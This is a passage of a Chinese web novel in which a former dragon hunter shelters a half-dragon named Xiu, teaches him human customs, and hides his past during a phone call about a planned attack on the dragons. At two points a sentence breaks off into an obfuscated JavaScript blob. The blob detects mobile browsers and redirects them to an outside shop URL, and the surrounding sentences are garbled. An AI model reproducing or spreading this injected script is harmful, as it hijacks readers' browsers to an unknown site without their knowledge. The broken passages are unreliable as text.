真神奇,明明有更重要的事情,却甘愿花时间陪自己摸兔子,怎么会有这样的人类呢? 20. 第八天·人与鸟与龙 等一人一……半龙终于一起坐到桌子前时,休对着自己面前摆放的几个工具疑惑地歪歪头,龙爪在每根工具上挨个戳了戳,又将疑问的目光投向荣纪海。 荣纪海依次指指休面前的餐具:“这个,是筷子,和我手上用的一样,一般是两根一起用。旁边的这个叫叉子,你现在用它会方便很多,就像这样。”他拿起放在自己这边演示用的叉子,叉起一个饺子向休示意。 “当然,你也可以直接抓着吃,但要小心烫——我是说,如果你用人类的那只手臂的话,人类对于温度会比较敏感。” 休跟着荣纪海的解说扫过自己面前的餐具,抬头见荣纪海放下叉子拿起筷子,便执拗地同样一把握住了筷子。 荣纪海愣了愣,有些哭笑不得,“你确定吗?筷子比较难用。” 休摇摇头,执意道:“我想和你一样。” 荣纪海颇为无奈又温和地笑笑,解释道:“你知道吗,人类的小孩学会用筷子都要很长一段时间。当然,你总有一天可以学会的,但不需要是现在。所以不用着急,现在先填饱肚子就好。” 休皱起眉,勉勉强强但也听劝地放下筷子,转而拿起叉子,学着荣纪海先前的样子叉起饺子,送入口中。 —— 饭后,荣纪海见休频频望向门口,思索一阵,想起了那外面有什么是休无比在意的东西,主动提起道:“去浇花吗?” 休一下站起来,尾巴微微翘起一点弧度。 荣纪海笑笑,率先转身往院子走去。 来到院子里时,荣纪海先去接了根长水管直通花坛,再尾端装上喷洒器,总算是从先前需要往返数次打水的不便中解脱。 他浇水时,休一直跟在一旁站着,出神地凝视着眼前洒下的水雾。 荣纪海回头看看,想起什么,开口问道:“你现在的形态还可以喷火吗?说起来,这个为什么要喷火上去?” 休回过神来,伸出人类的那只手臂轻轻压了压土壤,为自己指腹感受到的触觉新奇,“这个,要火焰才能长大。” “嗯……”荣纪海仰头代换了一下休的说法,“所以,龙的火焰就是它们的肥料?” “肥、料。”休慢吞吞地复述了一遍,“是的。” 他张开嘴,刚想喷火,突然转头看了一眼正看着自己的荣纪海。 荣纪海不明所以,刚想露出一个笑,休却马上闭上了嘴,转而把尾巴甩了上来。 休的尾尖燃起一蓬火焰,这回是通体黑色的火,只在火焰中心泛着一点幽光的蓝。他把尾尖逐个在土堆上挨了一下,让土堆顶部黏上自己的火焰。 荣纪海围观了全程,有些想笑。 这是顾忌我在,所以不愿意用嘴喷火了吗? 他本想解释几句打消休的顾虑,临了却又把话吞回了肚子里。 原来龙也有……这种心理吗?还挺有意思的。 最终,荣纪海只是背过身暗自笑笑,决定当做什么都没看见。 花种很快就浇完了,荣纪海让到一旁看着休为最后一个小土堆点上火焰,随意问道:“休,你有什么想做的吗?” “为什么要问我?不应该是,你有什么想做的吗?”休漫不经心地抬起尾巴,点燃最后一簇火焰后,背后的单边翅膀往外抻了抻,像伸了个懒腰。 他这边显得轻松,荣纪海却汗毛一炸,冷汗差点就下来了。 为什么会这么问?难道他知道了…… 荣纪海迅速回想是不是自己有哪些地方露了破绽,思来想去却也没有结果。 不应该啊……就算是屏障也是双层的,专门加上了消除波动的那一层,他不应该能察觉到才对。 荣纪海又悄悄去看休的侧脸,上面神色平静,锐利的龙瞳也只是专注在还未熄灭的火焰上,并没有任何质问之意。 也许……休的意思只是字面意思?更何况,他的语言天赋再怎么高,也只是一个刚刚学会人类语言不久的超自然生物,或许不能用人类的语言逻辑去揣测他。 于是荣纪海笑笑,朝休走近了些,“我在这里生活了一段时间了,想做的都做过了,但你不一样。这应该是你第一次以人类的视角看到这些吧,所以有什么想以人类的身份再去做做看的吗?” 他的目光落到休的翅膀、尾巴,以及龙爪上,“啊,但是可能暂时不能见其他人类,你的这些特征……在人类里还是比较突出的。”他委婉地补充道。 休却很果断地摇头:“不见人类。”他顿了顿,像是学荣纪海说话,又像是他自己本也想这么说:“暂时不见。看你就好。” 荣纪海差点被空气呛到,堪堪憋住避免自己在休面前失态,无奈地稳住自己再次动摇的心。 要不是休只是一头龙,他真要以为对方是在故意撩拨他了。 荣纪海盯着休那条重新卷在身后的尾巴稳定心神,突然想起一个问题:“说起来,你是为什么会来到这里?这里离人类的城市挺近的吧,对于龙来说。” 他边发问边放轻了声音,好似生怕惊动了对方,让对方察觉到他这个问题的真正意图。 休并没有马上回答,而是遥遥望着远方,好像在千百里之外发生了什么只有他能看见并且听见的事情,久久都没有说话。 直到荣纪海以为休大概不会回答这个问题时,休才突然简单地说:“受伤了,养伤。” 荣纪海下意识地去看那单边翅膀上依然焦黑着的抓痕,“你翅膀的伤,没事吗?” 休摇摇头,总算转过身来面对荣纪海,那边翅膀也随之被休的身体挡住,“没事,会好的。” 荣纪海将信将疑地心想,真的吗,起码目前来看毫无动静啊。 但休一副不愿多谈的样子,荣纪海只好摇摇头,暂息了追问的念头,转而主动提出邀请:“这样吧,你的情况……大概也没办法坐车——车就是之前那个带你去你的窝里的东西,”他简单地扬扬下巴给休示意方向,“不如,我带着你在这附近走走吧,之前还是龙形态的时候,你应该是只能在低空飞行吧?可以试试看作为人类走路的话,会见到什么不一样的东西。” 荣纪海本以为休对这项无聊的散步活动不会感兴趣,谁知休的龙瞳紧缩,金色的虹膜流转出五彩的色光,显然是兴奋起来了。 ?难道说休是休闲那一挂的? 荣纪海不明所以,但见休很感兴趣,还是松了口气,招呼休跟着自己走。 将要与休擦肩而过时,荣纪海低头看着那条大尾巴,好奇地问道:“这些还是没办法收起来或是缩小了吗?” 休显然非常苦恼的样子,尾巴不由自主地甩了一下,差点正好绊到荣纪海脚边。他微微侧腰反手摸着自己的翅膀说:“不行,收不回去了。” 荣纪海见状连忙安慰道:“收不回去身体会难受吗?”休摇摇头。“那就好……没事,你自己不会觉得身体不舒服就行了,反正这里只有你和我,并不影响什么。”他安抚地轻笑,伸手摸摸翅膀上的骨刺。 休乖巧地点点头,马上依言将自己异常的身体抛到脑后去了。 —— 两人沿着山道出发,一路上休都在好奇地左看右看,荣纪海瞧着新奇,便问道:“之前龙形态的时候,没有见过这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052631|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 休嘴上回答着荣纪海,眼睛却粘在身边的矮灌木上撕不下来了:“没有。之前的身体太大了,很多地方都看不见。” 荣纪海想起那只兔子,“那当时兔子是怎么抓到的?那个对于龙来说很小吧?” 休歪歪头,鼻尖轻动,“闻气味就能找到了,这里味道很干净,好找。” 味道干净?那当然干净,毕竟我搬过来时才处理过一遍。荣纪海暗想。 走着走着,头顶只“倏”的一声,是一只鸟掠过隐进了树顶,一根羽毛飘然落在荣纪海抬起的额前。 荣纪海把羽毛拿下来,却见休的眼神依然追随着那棵树的顶端。 “怎么了?” 休目光不动,“你说,要找鸟巢。” 还记得啊……而且好像真的信了。 荣纪海正想着该怎么糊弄过去这个不得不套圈的谎言,抬头望向枝干分叉点时,他突然想到自己在刚来到这座山时,一件想做却直到现在都没能着手的事来。 “嗯,之前找鸟巢是想确定一下是不是有鸟在家附近安家了,如果有的话,可以给它们做个结实点的窝。” 荣纪海说出这番话时倒是坦坦荡荡毫不心虚的样子,毕竟这原本就是他曾经打算做的,只不过现在被暂时用来当个掩饰……这也不算是说谎吧? 他微微屏息,等待着休的反应。 休只是眨眨眼,迷茫地问道:“为什么要给鸟做窝?” 荣纪海暗暗放松下来,“这个嘛,从哪里说起好呢……”他环顾四周的密林,“这个地方很舒服吧?没有人,所有生物都自由生长。但在人类的城市里——就是人类住在一起的地方,这样的树林已经很少了。如果想让鸟生存下去,给它们做一个更结实的窝——这就是一个很有效的办法。” 解释后休却显得更加不理解了,“为什么在这里也要做?这里不是城市吧?” 荣纪海笑笑,笑意里却略显勉强,“是了,你应该不记得了……” 休疑惑地歪头。 “在你变成小龙的时候,我带你去到过最近的城市。距离这座山最近的那座城市里,许多被迫迁移的鸟首先都会来到这里落脚,所以想做一些鸟巢方便它们居住。” 休若有所思地看着荣纪海,又抬头看看树冠上面早已消失不见的鸟影,“人类都会这样吗?” 荣纪海想了想,“不是全部。但总有人会这么做。” 休喃喃道:“生存……原来,人类也会在意被侵占了领地的其他物种吗?” “!”荣纪海一惊,迅速别开眼防止自己的眼神里透露出什么不该有的情绪。 这个说法和语气……休果然知道些什么。 虽然从来没有见过他……荣纪海垂眼盯着休那条尾巴上漆黑的鳞片。但,他无疑与“那些”龙,是同族。 荣纪海斟酌着自己的语气和用词,摒弃所有可能的情绪开口道:“这个世界上,生存的空间——或者说领地,是有限的。人类——”他顿了一下,还是换了个指代词,“我们,发展得太急,曾经忽略了很多。但是现在以及未来……” 他清清嗓子,不知是对自己说话还是在对休保证,又或是满怀希冀地向着某个虚空的未来许愿,“会这么做的人类,一定会越来越多的。” 休回眸注视了荣纪海一会儿,龙瞳里一片平静无波,看不出喜怒。 他没再说什么,继续往前走去。身后的尾巴拖在地上,扫开一片落叶。 荣纪海在休的身后默默握紧拳。 今晚,大概又要做噩梦了吧。他苦笑一下,快步跟上。 21. 第八天·猎龙人 事实证明,在做噩梦前,荣纪海可能还要面临其他考验。 荣纪海进卧室前,手机在口袋里震动一下。他打开看了一眼,又原样放了回去,转而面对休,“你今晚——” 对了,他今晚睡哪儿? 荣纪海看着自己面前这个有着人类身体,却带着半边龙的特征的半龙人。 休现在已经不是龙或者小龙了,不能睡院子里也不能睡自己枕边,他自己似乎也没有想要变回龙形态的样子。 “你今晚……睡客房吧。等我收拾一下。” 休看着荣纪海走向客房,好奇地询问道:“为什么要睡客房?” 荣纪海一愣,“客房才有床。” “为什么一定要这么睡,我可以睡地上。”休认真地反驳。 荣纪海一下被问住了,沉默了半晌才说道:“也并不是一定要这么睡,但这么睡对于人类身体构造来说会舒服些,能更好恢复精力。” 休龙瞳一眯,思考着什么,又问:“为什么我不能和你一起睡?之前是一起睡的。” “咳咳!”荣纪海这下是真呛到了,顺了半天气才安抚道:“之前你还是小龙的时候,需要的地方不多,所以可以一起睡。但现在,人类的身体就不太合适挤在一起了。” 休的尾巴垂落下来,不说话了。 荣纪海看着那条过于诚实的尾巴,轻声问道:“为什么想和我睡呢?” 尾巴听到问话后微微翘起,尾巴的主人理直气壮地说道:“因为安心。” “安——”荣纪海险险咬住牙,才没让自己惊呼出来。 是这样的,可能是因为休是第一次深入道人类住的地方,短时间内用人类形态接触到那么多新事物,哪怕他看起来再成熟,可能内心都会有点不安吧。 是这样的吧。 荣纪海有些为难地想了想自己的床的大小,又看看休的翅膀和尾巴,无奈地叹了口气:“你一个人睡的话,翅膀和尾巴就能舒展开了,这样你也会舒服点。” 休张张口,看起来想反驳些什么,但荣纪海马上接上尾音阻止了休想要辩解的尝试。 “我注意到了的,今天一整天你的翅膀都收着,很难受吧。之前趁着在院子里浇花才稍微舒展了点。” 休闭上了嘴,陷入了可疑的沉默。 荣纪海有点好笑又有点心疼,抬手轻轻握住对方翅膀的边缘,又摸到上方的骨刺上握了握,“我的房间就在旁边,如果你害——”应该没什么能让龙害怕吧,“如果你想来找我,随时可以过来,只要睡觉的时候回去睡就好了,这样可以吗?” 他轻声诱哄着,休抬头看他一眼,不情不愿地点头答应了。 收拾好了客房,荣纪海看着休笨拙地挪动着调整姿势勉强侧躺睡下,在对方投来征询的眼神时回应了一个肯定的微笑,“就是这样,你做得很对。” 他上前几步,将被子盖到休的身上,才离开房间。 “晚安,休。” 他关上灯,休在黑暗中的龙瞳亮着微弱的荧光。 荣纪海犹豫了一会儿,还是关上了房门。 —— 回到自己房间后,荣纪海才打开手机,点开唐在十几分钟前发来的消息。 [已经准备回根据地了,正在进行最后一次的检修,可能近期就准备出发。] 荣纪海看了这则消息一会儿,选择一个电话打了过去。 接通了便开门见山:“你去吗?” 那边大概是等得有些不耐烦了,拖长了声音,“不去不行吧,毕竟我是负责装备的啊。” 荣纪海慢慢踱回床边,一些绝对不可能得到回复的问题在他嘴边打转。 到底是什么催化了这次行动?你又隐瞒着什么? 就算问出来,她肯定也不会说的吧。不过,到底是什么东西能让唐也甘愿加入这个疯狂的行动?或者说……有什么东西是需要瞒着我的? 荣纪海一手捏着枕头的一角,突兀地对空荡荡的卧室有些不太适应。 他侧过头,目光仿佛穿过了墙壁,直达那边住着一头龙的客房。 不管是什么东西,又是为了什么。但如果想要争取休的话,那么现在放任那群人贸然进攻激怒龙族显然不是个好主意,如果休知道了这件事……那一切也许就全完了。 休目前并没有展现出自己的实力,如果很强,那么单凭自己是控制不住他的。他离开这里回到族群还是小事,但万一教会了其他龙变化成人的话…… 荣纪海的手指关节开始泛白。 他不能赌。 大概是他过于久的沉默让那边的唐有些不安,此时她直截了当地问道:“荣,我不太懂你现在究竟想干什么。你之前虽然也反对,但该做的还是会做,为什么唯独这次你这么在意?” 为什么? 荣纪海的眼皮突突直跳。 因为我的家里就有一头龙,还是一头能变成人的龙啊。 唐见荣纪海一直不说话,有些急了,大喊道:“荣,你别忘了,我们是猎龙人!” 荣纪海呼吸一窒,条件反射警惕地看向紧邻客房的墙面。 “唐——” 唐却少见地打断了他,强行地说了下去:“你也知道的,猎龙人内部想要发起主动进攻已经很久了,是被持续不断的龙的袭击才拖到现在的。荣,我知道你不想让这个行动进行的,所以,做点什么吧。” 荣深深地叹了口气,有些疲惫地按住鼻间,“我已经不是猎龙人了。” 不等唐气急败坏地骂人,他继续说道:“办法是有的,很简单,破坏掉装备就好了。” 那边的唐被哽住,半晌才无力又难以置信地说道:“这是正常人能想出来的解决方法吗?荣,没了装备,万一这期间龙打过来怎么办?” 荣纪海的声音却平静了下来,“唐,你没发现吗?” “发现什么?” “从十几年前我加入到现在,龙一直保持着隔一小段时间就进攻一次的频率,每次来的数量不会超过三头。但我退休前的最后一次,一共来了十头,跑了三头,紧接着,在以往理应再次进攻的时间段内,它们不再来了。” “……什么意思。” 荣纪海换了个姿势,让自己隐隐作痛的后脑勺抵住坚硬的床头,“我不相信你没发现,作为在战场后方的你应该是看得最清楚的才对。每次龙的进攻,它们的消耗与我们的消耗是差不多持平的。上次之后我们损失很严重,人力也好物力也好……所以现在袁庆平才会需要到处招人,甚至去找已经退休两年有余的李仁常。那么同理的,龙族那边的消耗也并不小。” 唐那边沉默下来,大概是在思考着荣纪海的这番话。 “更何况,你没有想过为什么,龙每次进攻的数量这么少,唯独最后一次大规模进攻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052632|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”他不等唐回答,自己便先将答案说出了口。 “龙的数量在减少,就像拥有猎龙人血统的人也在减少一样。所以它们也和我们同样,必须斟酌每次进攻的投入,在遭受重创后也会无法在短时间内组织起下一次进攻。” 唐微弱地开口:“所以……袁那家伙也想到了,对吗?不然他不会那么着急想要找到龙的藏身地。” 荣纪海没有回答,只是继续自顾自说道:“别忘了,带有血统的猎龙人对龙造成的伤害恢复得很慢,我——”他顿了一下,声音低沉下去,“我这种血统浓度造成的伤害,几乎是无法复原的。所以我认为,龙族那边短时间内已经丧失了再进攻的能力了。” 更何况……他想到休的翅膀上的那些伤痕。 那些伤痕呈条状,头尾部有撕裂伤。能在龙的翅膀上造成如此巨大且持久的伤害的,如果不是猎龙人的话,那只可能是龙的同类——休的同族了。 也就是说,龙族内部很可能出现了矛盾,正在内战。 想到这里,荣纪海突然坐起来,灵光一闪。 如果是这样,如果是这样的话…… 是什么造成了龙族内乱? 答案就在他眼前,就在他隔壁的那间客房里。 龙族中前来攻打他们的龙一定是憎恨人类的,但与此同时休却对自己如此友好。即便他似乎也不算待见整个人类种群,却也并没有明显的憎恶与想要赶尽杀绝的欲望在里面。 所以,那场内乱的双方,也许就是可能存在的主战派与中立派。 但这个原因他无法对唐透露,只是说:“你放心去做吧,相信我。” 唐沉默了一会儿,才有气无力地答应道:“信你一次,万一你真的不靠谱,这大概也是……也只可能是最后一次了。” 那边挂掉电话。 荣纪海向后靠在床头,思绪纷乱。 如果龙族内部真的存在内战这样的思想斗争,并且有中立派这样的群体的话……如果休很可能就是那个中立派的一员……也许,真的可以。 然而,才提起来的一点希望与冲动马上被唐刚刚掷地有声的“猎龙人”三个字打散。荣纪海只觉得自己的头又痛起来,血海与痛嚎的幻视幻听萦绕在他脑海里,折磨得他三叉神经突突抽搐。 唐的再次提起唤醒了他自休能够变成人形以来,就一直压制住的不安。 猎龙人与人,虽然本质上是同一个物种,但身份与做的事情的差异,可就太大了。 也许休可以对人类保持中立,但如果是对猎龙人呢?对……手上沾满了同族鲜血与性命的猎龙人呢? 荣纪海低头摊开手掌。 龙族死去后,血液会很快蒸发,尸骨也将消融进土地,不管以什么方式封存起来,都逃不开消散的结局,唐为此崩溃过好几次。 他的手上曾沾过鲜血,但很快便如同刚出发时那样干净,一尘不染。 只有那些挣扎着搏动的肌肉与血管,那些最后负隅顽抗刺入自己手心里的鳞片,能够代表着那些战斗是真实存在的,并不是一个连环噩梦。 休能够对他如此友好,也不过只是因为他只是人类罢了。如果休知道他其实是猎龙人,甚至是一个曾作为主力,杀了绝大部分休的同胞的猎龙人…… 荣纪海无奈地双手互相紧握,仰头望着天花板上的顶灯想:这下今晚可能不止是噩梦那么轻了啊。